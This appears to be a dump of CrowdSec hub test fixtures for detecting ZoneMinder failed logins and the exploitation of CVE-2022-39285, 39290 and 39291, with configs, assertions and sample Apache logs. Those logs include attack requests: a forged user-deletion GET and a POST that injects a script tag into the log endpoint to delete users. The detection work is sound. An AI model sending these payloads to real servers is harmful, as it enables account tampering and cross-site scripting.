"zm_bad_user" results["s01-parse"]["baudneo/zoneminder-logs"][13].Evt.Meta["log_type"] == "zm_failed_auth" results["s01-parse"]["baudneo/zoneminder-logs"][13].Evt.Meta["source_ip"] == "10.0.1.5" results["s01-parse"]["baudneo/zoneminder-logs"][13].Evt.Meta["username"] == "cccc" results["s01-parse"]["baudneo/zoneminder-logs"][13].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s01-parse"]["baudneo/zoneminder-logs"][13].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/zoneminder-logs"][14].Success == true results["s01-parse"]["baudneo/zoneminder-logs"][14].Evt.Parsed["month"] == "12" results["s01-parse"]["baudneo/zoneminder-logs"][14].Evt.Parsed["program"] == "zoneminder" results["s01-parse"]["baudneo/zoneminder-logs"][14].Evt.Parsed["source_ip"] == "10.0.1.5" results["s01-parse"]["baudneo/zoneminder-logs"][14].Evt.Parsed["time"] == "10:31:32 PM MST.557710" results["s01-parse"]["baudneo/zoneminder-logs"][14].Evt.Parsed["username"] == "validuser1" results["s01-parse"]["baudneo/zoneminder-logs"][14].Evt.Parsed["year"] == "22" results["s01-parse"]["baudneo/zoneminder-logs"][14].Evt.Parsed["day"] == "17" results["s01-parse"]["baudneo/zoneminder-logs"][14].Evt.Parsed["message"] == "12/17/22, 10:31:32 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Login denied for user \"validuser1\"] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s01-parse"]["baudneo/zoneminder-logs"][14].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s01-parse"]["baudneo/zoneminder-logs"][14].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/zoneminder-logs"][14].Evt.Meta["log_subtype"] == "zm_bad_password" results["s01-parse"]["baudneo/zoneminder-logs"][14].Evt.Meta["log_type"] == "zm_failed_auth" results["s01-parse"]["baudneo/zoneminder-logs"][14].Evt.Meta["source_ip"] == "10.0.1.5" results["s01-parse"]["baudneo/zoneminder-logs"][14].Evt.Meta["username"] == "validuser1" results["s01-parse"]["baudneo/zoneminder-logs"][15].Success == true results["s01-parse"]["baudneo/zoneminder-logs"][15].Evt.Parsed["time"] == "10:31:33 PM MST.557710" results["s01-parse"]["baudneo/zoneminder-logs"][15].Evt.Parsed["username"] == "validuser2" results["s01-parse"]["baudneo/zoneminder-logs"][15].Evt.Parsed["year"] == "22" results["s01-parse"]["baudneo/zoneminder-logs"][15].Evt.Parsed["day"] == "17" results["s01-parse"]["baudneo/zoneminder-logs"][15].Evt.Parsed["message"] == "12/17/22, 10:31:33 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Login denied for user \"validuser2\"] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s01-parse"]["baudneo/zoneminder-logs"][15].Evt.Parsed["month"] == "12" results["s01-parse"]["baudneo/zoneminder-logs"][15].Evt.Parsed["program"] == "zoneminder" results["s01-parse"]["baudneo/zoneminder-logs"][15].Evt.Parsed["source_ip"] == "10.0.1.5" results["s01-parse"]["baudneo/zoneminder-logs"][15].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" results["s01-parse"]["baudneo/zoneminder-logs"][15].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/zoneminder-logs"][15].Evt.Meta["log_subtype"] == "zm_bad_password" results["s01-parse"]["baudneo/zoneminder-logs"][15].Evt.Meta["log_type"] == "zm_failed_auth" results["s01-parse"]["baudneo/zoneminder-logs"][15].Evt.Meta["source_ip"] == "10.0.1.5" results["s01-parse"]["baudneo/zoneminder-logs"][15].Evt.Meta["username"] == "validuser2" results["s01-parse"]["baudneo/zoneminder-logs"][16].Success == true results["s01-parse"]["baudneo/zoneminder-logs"][16].Evt.Parsed["source_ip"] == "10.0.1.5" results["s01-parse"]["baudneo/zoneminder-logs"][16].Evt.Parsed["time"] == "10:31:33 PM MST.557710" results["s01-parse"]["baudneo/zoneminder-logs"][16].Evt.Parsed["username"] == "validuser3" results["s01-parse"]["baudneo/zoneminder-logs"][16].Evt.Parsed["year"] == "22" results["s01-parse"]["baudneo/zoneminder-logs"][16].Evt.Parsed["day"] == "17" results["s01-parse"]["baudneo/zoneminder-logs"][16].Evt.Parsed["message"] == "12/17/22, 10:31:33 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Login denied for user \"validuser3\"] at /usr/share/zoneminder/www/includes/auth.php line 313" results["s01-parse"]["baudneo/zoneminder-logs"][16].Evt.Parsed["month"] == "12" results["s01-parse"]["baudneo/zoneminder-logs"][16].Evt.Parsed["program"] == "zoneminder" results["s01-parse"]["baudneo/zoneminder-logs"][16].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/zoneminder-logs"][16].Evt.Meta["log_subtype"] == "zm_bad_password" results["s01-parse"]["baudneo/zoneminder-logs"][16].Evt.Meta["log_type"] == "zm_failed_auth" results["s01-parse"]["baudneo/zoneminder-logs"][16].Evt.Meta["source_ip"] == "10.0.1.5" results["s01-parse"]["baudneo/zoneminder-logs"][16].Evt.Meta["username"] == "validuser3" results["s01-parse"]["baudneo/zoneminder-logs"][16].Evt.Meta["datasource_path"] == "zoneminder-web_php.log" len(results["success"][""]) == 0 hub1/.tests/zoneminder-logs/zoneminder-web_php.log000066400000000000000000000053201437532772500225670ustar00rootroot0000000000000001/25/22 16:08:02.393003 web_php[118770].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Could not retrieve user test_user details] at /usr/share/zoneminder/www/includes/auth.php line 313 01/25/22 16:08:03.531511 web_php[119601].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Could not retrieve user test_user details] at /usr/share/zoneminder/www/includes/auth.php line 313 01/25/22 16:19:40.524258 web_php[118966].INF [127.0.0.1] [Login successful for user "test_user"] at /usr/share/zoneminder/www/api/app/Controller/AppController.php line 86 01/25/22 16:19:40.524931 web_php[118966].INF [127.0.0.1] [Creating token for "test_user"] at /usr/share/zoneminder/www/api/app/Controller/HostController.php line 157 01/25/22 16:19:40.701022 web_php[118768].ERR [10.0.1.139] [Unable to authenticate user. error decoding JWT token:Expired token] at /usr/share/zoneminder/www/includes/auth.php line 118 01/25/22 16:22:17.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user "test_user"] at /usr/share/zoneminder/www/includes/auth.php line 313 01/25/22 16:23:17.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user "test_user"] at /usr/share/zoneminder/www/includes/auth.php line 313 01/25/22 16:24:17.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user "test_user"] at /usr/share/zoneminder/www/includes/auth.php line 313 01/25/22 16:24:57.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user "test_user"] at /usr/share/zoneminder/www/includes/auth.php line 313 01/25/22 16:25:07.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user "test_user"] at /usr/share/zoneminder/www/includes/auth.php line 313 # New PHP datetime formatting 12/17/22, 10:31:29 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Could not retrieve user aaaa details] at /usr/share/zoneminder/www/includes/auth.php line 395 12/17/22, 10:31:30 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Could not retrieve user bbbb details] at /usr/share/zoneminder/www/includes/auth.php line 395 12/17/22, 10:31:31 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Could not retrieve user cccc details] at /usr/share/zoneminder/www/includes/auth.php line 395 12/17/22, 10:31:32 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Login denied for user "validuser1"] at /usr/share/zoneminder/www/includes/auth.php line 313 12/17/22, 10:31:33 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Login denied for user "validuser2"] at /usr/share/zoneminder/www/includes/auth.php line 313 12/17/22, 10:31:33 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Login denied for user "validuser3"] at /usr/share/zoneminder/www/includes/auth.php line 313 hub1/.tests/zoneminder_cve-39285/000077500000000000000000000000001437532772500166535ustar00rootroot00000000000000hub1/.tests/zoneminder_cve-39285/config.yaml000066400000000000000000000004451437532772500210070ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/apache2-logs - crowdsecurity/dateparse-enrich scenarios: - "./scenarios/baudneo/zoneminder_cve-2022-39285.yaml" postoverflows: - "" log_file: zoneminder_cve-39285.log log_type: apache2 labels: {} ignore_parsers: true override_statics: [] hub1/.tests/zoneminder_cve-39285/parser.assert000066400000000000000000000000001437532772500213600ustar00rootroot00000000000000hub1/.tests/zoneminder_cve-39285/scenario.assert000066400000000000000000000021131437532772500216760ustar00rootroot00000000000000len(results) == 1 "10.0.1.5" in results[0].Overflow.GetSources() results[0].Overflow.Sources["10.0.1.5"].IP == "10.0.1.5" results[0].Overflow.Sources["10.0.1.5"].Range == "" results[0].Overflow.Sources["10.0.1.5"].GetScope() == "Ip" results[0].Overflow.Sources["10.0.1.5"].GetValue() == "10.0.1.5" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "zoneminder_cve-39285.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "User Agent DATA - THREAT" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "10.0.1.5" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-12-18T18:15:27-07:00" results[0].Overflow.Alert.GetScenario() == "baudneo/zoneminder_cve-2022-39285" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/zoneminder_cve-39285/zoneminder_cve-39285.log000066400000000000000000000021651437532772500230610ustar00rootroot0000000000000010.0.1.5 - - [18/Dec/2022:18:15:22 -0700] "GET /zm/index.php?view=request&request=stream&connkey=449169&auth=88ac8155acc9cc9503f8d0a8e5b368a0&command=99 HTTP/1.1" 200 548 "https://zm.baudneo.com/zm/index.php?view=montage" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 10.0.1.5 - - [18/Dec/2022:18:15:22 -0700] "POST /zm/api/host/login.json HTTP/1.1" 200 820 "-" "python-requests/2.28.1" 10.0.1.5 - - [18/Dec/2022:18:15:27 -0700] "GET /zm/index.php?view=options&tab=users&action=delete&markUids%5B%5D=13&deleteBtn=Delete HTTP/1.1" 200 69420 "-" "User-Agent Data" 10.0.1.5 - - [18/Dec/2022:18:15:27 -0700] "POST /zm/index.php?__csrf_magic=key:78ee298a4593243b9ac481199d7da468bab4f044,1664675125&view=request&request=log&task=create&level=ERR&message=Trenches%20of%20IT%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=http%3A%2F%2F10.0.10.107%2Fzm%2F</td></tr><script src='/zm/?view=options%26tab=users%26action=delete%26markUids%5B%5D=6%26deleteBtn=Delete'</script>&line=70 HTTP/1.1" 200 42069 "-" "User Agent DATA - THREAT" hub1/.tests/zoneminder_cve-39290/000077500000000000000000000000001437532772500166475ustar00rootroot00000000000000hub1/.tests/zoneminder_cve-39290/config.yaml000066400000000000000000000004431437532772500210010ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/apache2-logs - crowdsecurity/dateparse-enrich scenarios: - "./scenarios/baudneo/zoneminder_cve-2022-39290.yaml" postoverflows: - "" log_file: zoneminder_cve-39290.log log_type: apache2 labels: {} ignore_parsers: true override_statics: [] hub1/.tests/zoneminder_cve-39290/parser.assert000066400000000000000000000000001437532772500213540ustar00rootroot00000000000000hub1/.tests/zoneminder_cve-39290/scenario.assert000066400000000000000000000025151437532772500217000ustar00rootroot00000000000000len(results) == 1 "10.0.1.5" in results[0].Overflow.GetSources() results[0].Overflow.Sources["10.0.1.5"].IP == "10.0.1.5" results[0].Overflow.Sources["10.0.1.5"].Range == "" results[0].Overflow.Sources["10.0.1.5"].GetScope() == "Ip" results[0].Overflow.Sources["10.0.1.5"].GetValue() == "10.0.1.5" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "zoneminder_cve-39290.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/zm/index.php?view=options&tab=users&action=delete&markUids%5B%5D=13&deleteBtn=Delete" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "10.0.1.5" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-12-18T18:15:27-07:00" results[0].Overflow.Alert.GetScenario() == "baudneo/zoneminder_cve-2022-39290" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/zoneminder_cve-39290/zoneminder_cve-39290.log000066400000000000000000000113431437532772500230470ustar00rootroot0000000000000010.0.1.5 - - [18/Dec/2022:18:15:21 -0700] "GET /zm/index.php?view=request&request=stream&connkey=785750&auth=88ac8155acc9cc9503f8d0a8e5b368a0&command=99 HTTP/1.1" 200 552 "https://zm.baudneo.com/zm/index.php?view=montage" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 10.0.1.5 - - [18/Dec/2022:18:15:21 -0700] "GET /zm/index.php?view=request&request=stream&connkey=449169&auth=88ac8155acc9cc9503f8d0a8e5b368a0&command=99 HTTP/1.1" 200 548 "https://zm.baudneo.com/zm/index.php?view=montage" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 10.0.1.5 - - [18/Dec/2022:18:15:22 -0700] "GET /zm/index.php?view=request&request=stream&connkey=785750&auth=88ac8155acc9cc9503f8d0a8e5b368a0&command=99 HTTP/1.1" 200 549 "https://zm.baudneo.com/zm/index.php?view=montage" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 10.0.1.5 - - [18/Dec/2022:18:15:22 -0700] "GET /zm/index.php?view=request&request=stream&connkey=449169&auth=88ac8155acc9cc9503f8d0a8e5b368a0&command=99 HTTP/1.1" 200 548 "https://zm.baudneo.com/zm/index.php?view=montage" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 10.0.1.5 - - [18/Dec/2022:18:15:22 -0700] "POST /zm/api/host/login.json HTTP/1.1" 200 820 "-" "python-requests/2.28.1" 10.0.1.5 - - [18/Dec/2022:18:15:23 -0700] "GET /zm/index.php?view=request&request=stream&connkey=785750&auth=88ac8155acc9cc9503f8d0a8e5b368a0&command=99 HTTP/1.1" 200 552 "https://zm.baudneo.com/zm/index.php?view=montage" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 10.0.1.5 - - [18/Dec/2022:18:15:23 -0700] "GET /zm/index.php?view=request&request=stream&connkey=449169&auth=88ac8155acc9cc9503f8d0a8e5b368a0&command=99 HTTP/1.1" 200 547 "https://zm.baudneo.com/zm/index.php?view=montage" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 10.0.1.5 - - [18/Dec/2022:18:15:24 -0700] "GET /zm/index.php?view=request&request=stream&connkey=785750&auth=88ac8155acc9cc9503f8d0a8e5b368a0&command=99 HTTP/1.1" 200 548 "https://zm.baudneo.com/zm/index.php?view=montage" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 10.0.1.5 - - [18/Dec/2022:18:15:22 -0700] "GET /zm/api/events/160742.json?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJab25lTWluZGVyIiwiaWF0IjoxNjcxNDExODAyLCJleHAiOjE2NzE0MzM0MDIsInVzZXIiOiJ6bWVzIiwidHlwZSI6ImFjY2VzcyJ9.SAyR8OVxJD5sjANMESsoRPkelPa-18pelIbtXWHm4yQ HTTP/1.1" 200 25205 "-" "python-requests/2.28.1" 10.0.1.5 - - [18/Dec/2022:18:15:24 -0700] "GET /zm/index.php?view=request&request=stream&connkey=449169&auth=88ac8155acc9cc9503f8d0a8e5b368a0&command=99 HTTP/1.1" 200 548 "https://zm.baudneo.com/zm/index.php?view=montage" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 10.0.1.5 - - [18/Dec/2022:18:15:22 -0700] "GET /zm/api/events/160742.json?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJab25lTWluZGVyIiwiaWF0IjoxNjcxNDExODAyLCJleHAiOjE2NzE0MzM0MDIsInVzZXIiOiJ6bWVzIiwidHlwZSI6ImFjY2VzcyJ9.SAyR8OVxJD5sjANMESsoRPkelPa-18pelIbtXWHm4yQ HTTP/1.1" 200 25204 "-" "python-requests/2.26.0" 10.0.1.5 - - [18/Dec/2022:18:15:24 -0700] "GET /zm/index.php?view=image&eid=160742&fid=150&token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJab25lTWluZGVyIiwiaWF0IjoxNjcxNDExODAyLCJleHAiOjE2NzE0MzM0MDIsInVzZXIiOiJ6bWVzIiwidHlwZSI6ImFjY2VzcyJ9.SAyR8OVxJD5sjANMESsoRPkelPa-18pelIbtXWHm4yQ HTTP/1.1" 200 166371 "-" "python-requests/2.26.0" 10.0.1.5 - - [18/Dec/2022:18:15:25 -0700] "GET /zm/index.php?view=request&request=stream&connkey=785750&auth=88ac8155acc9cc9503f8d0a8e5b368a0&command=99 HTTP/1.1" 200 549 "https://zm.baudneo.com/zm/index.php?view=montage" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 10.0.1.5 - - [18/Dec/2022:18:15:27 -0700] "GET /zm/index.php?view=options&tab=users&action=delete&markUids%5B%5D=13&deleteBtn=Delete HTTP/1.1" 200 169207 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0" 10.0.1.5 - - [18/Dec/2022:18:15:27 -0700] "POST /zm/index.php?__csrf_magic=key:78ee298a4593243b9ac481199d7da468bab4f044,1664675125&view=request&request=log&task=create&level=ERR&message=Trenches%20of%20IT%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=http%3A%2F%2F10.0.10.107%2Fzm%2F</td></tr><script src='/zm/?view=options%26tab=users%26action=delete%26markUids%5B%5D=6%26deleteBtn=Delete'</script>&line=70 HTTP/1.1" 200 169207 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0" hub1/.tests/zoneminder_cve-39291/000077500000000000000000000000001437532772500166505ustar00rootroot00000000000000hub1/.tests/zoneminder_cve-39291/config.yaml000066400000000000000000000004451437532772500210040ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/apache2-logs - crowdsecurity/dateparse-enrich scenarios: - "./scenarios/baudneo/zoneminder_cve-2022-39291.yaml" postoverflows: - "" log_file: zoneminder_cve-39291.log log_type: apache2 labels: {} ignore_parsers: true override_statics: [] hub1/.tests/zoneminder_cve-39291/parser.assert000066400000000000000000000000001437532772500213550ustar00rootroot00000000000000hub1/.tests/zoneminder_cve-39291/scenario.assert000066400000000000000000000261651437532772500217100ustar00rootroot00000000000000len(results) == 1 "10.0.1.5" in results[0].Overflow.GetSources() results[0].Overflow.Sources["10.0.1.5"].IP == "10.0.1.5" results[0].Overflow.Sources["10.0.1.5"].Range == "" results[0].Overflow.Sources["10.0.1.5"].GetScope() == "Ip" results[0].Overflow.Sources["10.0.1.5"].GetValue() == "10.0.1.5" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "zoneminder_cve-39291.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "User Agent DATA" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "10.0.1.5" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-12-18T18:15:25-07:00" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "zoneminder_cve-39291.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800&view=request" results[0].Overflow.Alert.Events[1].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[1].GetMeta("http_user_agent") == "User Agent DATA - THREAT" results[0].Overflow.Alert.Events[1].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "10.0.1.5" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-12-18T18:15:26-07:00" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "zoneminder_cve-39291.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("http_path") == "/zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800&view=request" results[0].Overflow.Alert.Events[2].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[2].GetMeta("http_user_agent") == "User Agent DATA - THREAT" results[0].Overflow.Alert.Events[2].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[2].GetMeta("service") == "http" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "10.0.1.5" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-12-18T18:15:27-07:00" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "zoneminder_cve-39291.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("http_path") == "/zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800&view=request" results[0].Overflow.Alert.Events[3].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[3].GetMeta("http_user_agent") == "User Agent DATA - THREAT" results[0].Overflow.Alert.Events[3].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[3].GetMeta("service") == "http" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "10.0.1.5" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-12-18T18:15:27-07:00" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "zoneminder_cve-39291.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("http_path") == "/zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800&view=request" results[0].Overflow.Alert.Events[4].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[4].GetMeta("http_user_agent") == "User Agent DATA - THREAT" results[0].Overflow.Alert.Events[4].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[4].GetMeta("service") == "http" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "10.0.1.5" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-12-18T18:15:27-07:00" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "zoneminder_cve-39291.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("http_path") == "/zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800&view=request" results[0].Overflow.Alert.Events[5].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[5].GetMeta("http_user_agent") == "User Agent DATA - THREAT" results[0].Overflow.Alert.Events[5].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[5].GetMeta("service") == "http" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "10.0.1.5" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-12-18T18:15:27-07:00" results[0].Overflow.Alert.Events[6].GetMeta("datasource_path") == "zoneminder_cve-39291.log" results[0].Overflow.Alert.Events[6].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[6].GetMeta("http_path") == "/zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800&view=request" results[0].Overflow.Alert.Events[6].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[6].GetMeta("http_user_agent") == "User Agent DATA - THREAT" results[0].Overflow.Alert.Events[6].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[6].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[6].GetMeta("service") == "http" results[0].Overflow.Alert.Events[6].GetMeta("source_ip") == "10.0.1.5" results[0].Overflow.Alert.Events[6].GetMeta("timestamp") == "2022-12-18T18:15:27-07:00" results[0].Overflow.Alert.Events[7].GetMeta("datasource_path") == "zoneminder_cve-39291.log" results[0].Overflow.Alert.Events[7].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[7].GetMeta("http_path") == "/zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&level=ERR&message=Trenches%20of%20IT%20PoC&task=create&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800&view=request" results[0].Overflow.Alert.Events[7].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[7].GetMeta("http_user_agent") == "User Agent DATA - THREAT" results[0].Overflow.Alert.Events[7].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[7].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[7].GetMeta("service") == "http" results[0].Overflow.Alert.Events[7].GetMeta("source_ip") == "10.0.1.5" results[0].Overflow.Alert.Events[7].GetMeta("timestamp") == "2022-12-18T18:15:28-07:00" results[0].Overflow.Alert.Events[8].GetMeta("datasource_path") == "zoneminder_cve-39291.log" results[0].Overflow.Alert.Events[8].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[8].GetMeta("http_path") == "/zm/index.php?__csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&view=request&browser%5Bplatform%5D=Windows&file=line=800" results[0].Overflow.Alert.Events[8].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[8].GetMeta("http_user_agent") == "User Agent DATA - THREAT" results[0].Overflow.Alert.Events[8].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[8].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[8].GetMeta("service") == "http" results[0].Overflow.Alert.Events[8].GetMeta("source_ip") == "10.0.1.5" results[0].Overflow.Alert.Events[8].GetMeta("timestamp") == "2022-12-18T18:15:29-07:00" results[0].Overflow.Alert.Events[9].GetMeta("datasource_path") == 